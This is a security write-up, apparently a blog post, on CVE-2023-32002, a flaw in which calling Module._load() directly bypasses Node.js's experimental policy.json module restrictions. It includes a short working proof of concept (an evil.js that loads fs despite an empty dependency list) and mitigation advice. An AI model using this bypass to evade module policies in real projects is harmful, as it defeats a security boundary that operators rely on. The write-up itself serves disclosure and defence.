Node.js is a popular JavaScript runtime that allows developers to run JavaScript outside a web browser. In recent versions, Node.js introduced an experimental policy mechanism to control what modules code can or can’t load, specified through a policy.json file. Unfortunately, CVE-2023-32002 exposed a critical mistake: attackers can use Module._load() to sidestep these controls, making the policy mechanism ineffective.

Let’s break down what happened, why it matters, and how you could reproduce it. If you care about Node.js security (especially in versions 16, 18, and 20 with the policy feature), this write-up is for you.

The Policy Mechanism in Node.js

The Node.js policy feature lets you define a policy.json to restrict which modules a script can require, providing a stronger security boundary. For example, you might want to prevent some dependencies from loading the fs (filesystem) module.

A simple policy.json could look like this

{
  "resources": {
    "./main.js": {
      "dependencies": ["./allowed-module.js"]
    }
  }
}

When using this policy, main.js should only be able to load allowed-module.js, and nothing else.

What is Module._load()?

Internally, Node.js uses a function called Module._load() for requiring modules. Normally, require('some-module') calls Module._load() behind the scenes. The expectation is that, with policy enabled, all require calls are validated against the policy.

The Bypass:  
CVE-2023-32002 revealed that directly calling Module._load() could bypass the policy restrictions! This means even with a tight policy, a malicious module could sneak in forbidden modules by using this internal API, ignoring your policy configuration.

Directory Structure

/project
  |-- main.js
  |-- policy.json
  |-- evil.js

policy.json

{
  "resources": {
    "./main.js": {
      "dependencies": []
    }
  }
}

main.js

// main.js
require('./evil.js');

evil.js

// evil.js
const Module = require('module');

// This should not be allowed by the policy
// But _load() ignores the policy!
const fs = Module._load('fs');
console.log('FS module loaded:', typeof fs.readFile === 'function');

How to run with policy

node --experimental-policy=policy.json main.js

Expected Behavior: The policy says main.js can't load any modules, not even fs.  
Actual Flaw: The code prints FS module loaded: true! The policy was completely bypassed.

Technical Details

- This bug exists in active Node.js releases that support the experimental policy: 16.x, 18.x, 20.x
- Directly calling require() inside user code would still enforce policy. However, reaching for Module._load() gives access to any system module, policy be damned.
- Since many Node.js internals are not officially public, use of _load() should be discouraged, but nothing stops determined attackers.

References & Further Reading

- Node.js Security Release Summary (2023-05-30)
- CVE-2023-32002 Details on NVD
- Node.js Policy Mechanism Documentation (Experimental)
- Official Patch Commit

Mitigation recommendations

- Avoid using the policy mechanism in production, as it’s experimental and clearly unsafe due to this flaw.
- Upgrade Node.js to a version where this vulnerability is patched. (Check release notes after May 2023 for security updates.)
- Audit your dependencies. If a module uses Module._load or other low-level internals, it can potentially bypass more than just policies.

Final Thoughts

CVE-2023-32002 is a classic reminder: experimental features can become false security blankets. The trust you put in policy restrictions is only as strong as their enforcement. The Node.js team patched this quickly–but until then, direct API access could let attackers break out of intended module silos.

Stay up to date with security releases and always read the fine print when using new, un-stabilized features!

Timeline

Published on: 08/21/2023 17:15:00 UTC
Last modified on: 08/24/2023 21:09:00 UTC